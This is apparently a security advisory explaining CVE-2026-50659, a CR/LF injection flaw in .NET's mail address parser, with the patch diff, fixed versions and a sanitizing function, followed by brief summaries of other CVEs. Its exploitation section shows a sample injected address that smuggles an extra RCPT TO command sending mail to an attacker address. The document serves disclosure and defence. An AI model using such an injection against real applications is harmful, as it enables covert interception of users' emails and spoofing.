Jul 21, 2026·8 min read·4 visits
Unescaped CR/LF characters in .NET's MailAddressParser allow SMTP protocol smuggling, enabling attackers to inject rogue SMTP commands and spoof sender details.
An improper encoding and escaping vulnerability in the .NET SMTP client component allows network-based attackers to perform SMTP command smuggling and email spoofing by injecting control characters into email fields.
The System.Net.Mail namespace in the .NET runtime provides classes used to send emails to an SMTP server for delivery. Within this namespace, the SmtpClient class manages the network connection, protocol negotiation, and transmission of SMTP commands, while the MailAddress and MailMessage classes define the structure of the message, including envelopes, display names, and header collections. Because email sending often involves dynamic application data—such as user registration emails, feedback submissions, and system-generated notifications—the entry points of these classes represent a critical network-facing attack surface.
If an application passes untrusted user input directly into these address objects, any failure of the parser to sanitize input parameters allows control character injection. This vulnerability is classified as CWE-116 (Improper Encoding or Escaping of Output) and is closely related to CWE-113 (Improper Neutralization of HTTP/Protocol Headers). By exploiting this flaw, a network-based attacker with low privileges can bypass intended logical boundaries, inject arbitrary SMTP instructions, and perform spoofing.
The impact of this flaw is focused on the integrity of the communication channel. Unauthenticated or low-privileged actors can manipulate the SMTP envelope during serialization, leading to unauthorized message routing or modification of message metadata. Because SMTP relies on specific byte sequences to demarcate commands, the absence of verification allows input strings to slip from data fields into command contexts, a technique commonly referred to as protocol smuggling.
The Simple Mail Transfer Protocol (SMTP), as defined in RFC 5321, is a text-based, line-oriented protocol designed for email transmission. Commands such as MAIL FROM, RCPT TO, and DATA are transmitted sequentially over a TCP socket, with each command terminated by a Carriage Return and Line Feed sequence, represented as the bytes 0x0D 0x0A (or \r\n). Receivers process these commands as separate commands only when a valid CRLF boundary is observed. Because of this structural design, the security of the protocol relies on downstream systems preventing command delimiters from appearing within client-supplied values.
The vulnerability in System.Net.Mail is located in the parsing logic responsible for validating and decomposing email addresses. When an application instantiates a MailAddress object using user-supplied parameters, the constructor invokes internal helper classes to validate formatting rules. Prior to the July 2026 update, the internal class MailAddressParser focused its validation routines on checking RFC compliance regarding separators like the at-sign (@), bracketed enclosures (< and >), and domain formatting rules, but omitted scanning for raw CR and LF characters.
This omission meant that the parser treated strings containing carriage returns and line feeds as syntactically valid components of an email address. When the application subsequently utilized SmtpClient to send the email, the serialization layer wrote the address string directly into the network stream. The unescaped CR and LF characters were written directly to the underlying TCP socket, allowing the protocol parser of the receiving mail server to interpret the injected characters as command terminations and begin parsing the next section of the string as a new, independent SMTP command.
The vulnerability was remediated by introducing validation checks in the file src/libraries/System.Net.Mail/src/System/Net/Mail/MailAddressParser.cs. In the unpatched implementation, the parser scanned and processed the string using lexical analysis to separate the local part, domain part, and display name, without verifying if the inputs contained illegal carriage returns or line feeds. The patch resolves this by performing an upfront validation check using a helper method MailBnfHelper.HasCROrLF(data).
To prevent performance degradation during parsing, the fix is implemented with an optimized scanning technique. When processing a comma-separated list of addresses, the parser parses the string from right to left. To avoid redundant $O(N^2)$ checks on long strings containing multiple addresses, the validation check is executed only when the index matches data.Length - 1. This condition guarantees that the entire source string is scanned for illegal control characters exactly once during the parsing lifetime.
// Patched portion of MailAddressParser.cs
// This diff shows the exact enforcement logic inserted in May 2026
diff --git a/src/libraries/System.Net.Mail/src/System/Net/Mail/MailAddressParser.cs b/src/libraries/System.Net.Mail/src/System/Net/Mail/MailAddressParser.cs
index d3a9e1467..b02ce3ad8 100644
--- a/src/libraries/System.Net.Mail/src/System/Net/Mail/MailAddressParser.cs
+++ b/src/libraries/System.Net.Mail/src/System/Net/Mail/MailAddressParser.cs
@@ -69,6 +69,20 @@ private static bool TryParseAddress(string data, bool expectMultipleAddresses, r
Debug.Assert(!string.IsNullOrEmpty(data));
Debug.Assert(index >= 0 && index < data.Length, $"Index out of range: {index}, {data.Length}");
+ // Check for CR or LF characters which are not allowed in mail addresses.
+ // Only scan on the first call (index == data.Length - 1) to avoid repeated O(n) scans
+ // when parsing multiple addresses from the same string.
+ if (index == data.Length - 1 && MailBnfHelper.HasCROrLF(data))
+ {
+ if (throwExceptionIfFail)
+ {
+ throw new FormatException(SR.MailAddressInvalidFormat);
+ }
+
+ parseAddressInfo = default;
+ return false;
+ }
+
// Parsed components to be assembled as a MailAddress later
string? displayName;This structural fix ensures that any attempt to pass an input containing a carriage return or line feed to MailAddressParser results in an immediate parsing failure. The application will either receive a FormatException or the parser will return false, preventing the invalid address from reaching the serialization layer of SmtpClient. This approach completely closes the attack path at the object instantiation boundary.
An exploitation scenario involves an application that takes input from an untrusted source, such as a user-profile update or a support contact form, and uses that value to construct an email address or display name. An attacker can supply a carefully crafted email string that contains a CRLF sequence followed by valid SMTP commands. Because the unpatched library did not block these characters, the downstream serialization produced sequential SMTP instructions.
Consider an input value designed for command injection: recipient@target.com\r\nRCPT TO:<covert-recipient@attacker.com>. When the application passes this value into the constructor of MailAddress and sends the email, SmtpClient converts this into the following SMTP stream sent to the mail relay:
MAIL FROM:<sender@application.com>
RCPT TO:<recipient@target.com
RCPT TO:<covert-recipient@attacker.com>The mail server receiving this stream parses the CRLF sequence as the end of the first RCPT TO command. While the first command might result in a syntax error due to the missing closing bracket, the server executes the second, successfully parsed RCPT TO command. As a result, the SMTP server routes the email to covert-recipient@attacker.com without the sending application's knowledge. This mechanism enables the stealthy exfiltration of emails containing sensitive data, password resets, or authentication links.
The primary impact of CVE-2026-50659 is network-based spoofing and SMTP command smuggling. Successful exploitation allows an attacker to inject additional recipients, alter message headers, or manipulate message bodies. This has a direct threat implication for organizational trust and verification systems, as attackers can leverage this mechanism to bypass security controls like SPF and DKIM under specific mail relay configurations.
The vulnerability carries a CVSS v3.1 base score of 6.5, with the vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N. This score reflects low attack complexity and the requirement for low-privilege network access, which can be easily satisfied in any public-facing portal or application with user registration. The integrity impact is high because the attacker can manipulate message recipients and headers, while confidentiality and availability impacts are rated as none.
Although the vulnerability allows significant control over message routing, it does not directly enable arbitrary code execution on either the client machine or the remote SMTP server. Instead, the risk is centered on credential theft, phishing campaigns, and intellectual property theft via covert carbon-copying. If an attacker can inject headers such as From:, they can easily make messages appear as though they originate from an authoritative internal administrative account, significantly increasing the success rate of subsequent social engineering attacks.
To completely remediate CVE-2026-50659, administrators and developers must upgrade their .NET runtimes and SDKs to the secure patched versions. For environments running .NET 10.0, the patch is available in version 10.0.6. For systems utilizing .NET 9.0 and .NET 8.0, the fixes are integrated into versions 9.0.18 and 8.0.29, respectively. Legacy installations utilizing the standard .NET Framework should apply the cumulative security updates released in July 2026.
If immediate patching of the host runtime is not feasible, developers must implement manual validation routines within their application code. This can be achieved by sanitizing all inputs passed to MailAddress and MailMessage objects, rejecting or stripping any string that contains \r or \n characters before processing. Implementing strong input sanitization serves as a defense-in-depth measure that prevents the execution of command injection payloads even on vulnerable framework runtimes.
// Defense-in-depth validation logic implemented in application middleware
public static string ValidateAndSanitizeEmail(string input)
{
if (string.IsNullOrEmpty(input))
{
throw new ArgumentException("Input cannot be null or empty.");
}
// Check for carriage return or line feed characters
if (input.Contains('\r') || input.Contains('\n'))
{
throw new FormatException("Invalid characters detected in email string.");
}
return input.Trim();
}CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
.NET Microsoft | >= 10.0.0, < 10.0.6 | 10.0.6 |
.NET Microsoft | >= 9.0.0, < 9.0.18 | 9.0.18 |
.NET Microsoft | >= 8.0.0, < 8.0.29 | 8.0.29 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-116 (Improper Encoding or Escaping of Output) |
| Attack Vector | Network (AV:N) |
| CVSS v3.1 Score | 6.5 (Medium) |
| EPSS Score | 0.00415 (Percentile: 33.75%) |
| Impact Type | Integrity / Spoofing / Command Smuggling |
| Exploit Status | none (no public PoCs or active exploitation reported) |
| CISA KEV Status | Not Listed |
The software does not sanitize or escape control characters or delimiters prior to writing them to downstream outputs, leading to structure or protocol injection.
CVE-2026-56170 is a high-severity Remote Denial of Service (DoS) vulnerability in Microsoft's ASP.NET Core framework. The vulnerability spans three separate resource-management vectors within the ASP.NET Core ecosystem, including SignalR Stateful Reconnect allocations, JSON Patch Type Confusion leading to stack exhaustion, and Kestrel HTTP/2 synchronization issues. An unauthenticated remote attacker can exploit these issues to cause process-terminating exceptions, rendering applications unavailable.
The Loofah Ruby gem version 2.25.0 and 2.25.1 contains an incomplete validation vulnerability in its public string-level utility Loofah::HTML5::Scrub.allowed_uri?. This helper fails to detect 'javascript:' URIs that are split by HTML5 named whitespace character references such as 	 and 
. Applications manually invoking this utility to validate links are vulnerable to stored Cross-Site Scripting (XSS), as browsers parse and remove these entities during rendering.
CVE-2026-50525 is a high-severity Denial of Service (DoS) vulnerability in the Microsoft .NET XML Cryptography stack. The vulnerability resides in the `System.Security.Cryptography.Xml` library, specifically within the `EncryptedXml` processing engine. Unauthenticated remote attackers can exploit this flaw by sending specifically crafted XML documents containing nested or recursive structures, or utilizing resource-intensive transforms. Processing such payloads leads to infinite CPU loops, stack exhaustion, or memory starvation, resulting in application termination.
CVE-2026-50651 is a high-severity Denial of Service vulnerability in Microsoft .NET runtimes, SDKs, and Visual Studio installations. It stems from a weakness in System.Net.Http (CWE-770), where the HTTP/2 connection handling state machine fails to throttle server-initiated protocol streams and control frames. An attacker-controlled server can exploit this by returning highly fragmented or infinite control and continuation frame sequences. This forces the client to allocate memory indefinitely on the managed heap, eventually provoking an unhandled Out-of-Memory (OOM) exception and application crash.
A heap out-of-bounds write vulnerability exists in Pillow prior to version 12.3.0 due to an integer overflow during image expansion calculations. The subsequent patch introduced a division-by-zero regression causing denial of service.
CVE-2026-59198 is a high-severity heap out-of-bounds read vulnerability in Pillow, the Python imaging library, affecting versions from 5.2.0 up to 12.3.0. The vulnerability occurs in the TGA RLE compression path due to a calculation mismatch between the allocated packed 1-bit row buffer and the byte-level pixel stride assumption in the C-level encoder. This mismatch allows an attacker to leak up to approximately 57 KB of adjacent process heap memory directly into generated TGA image files.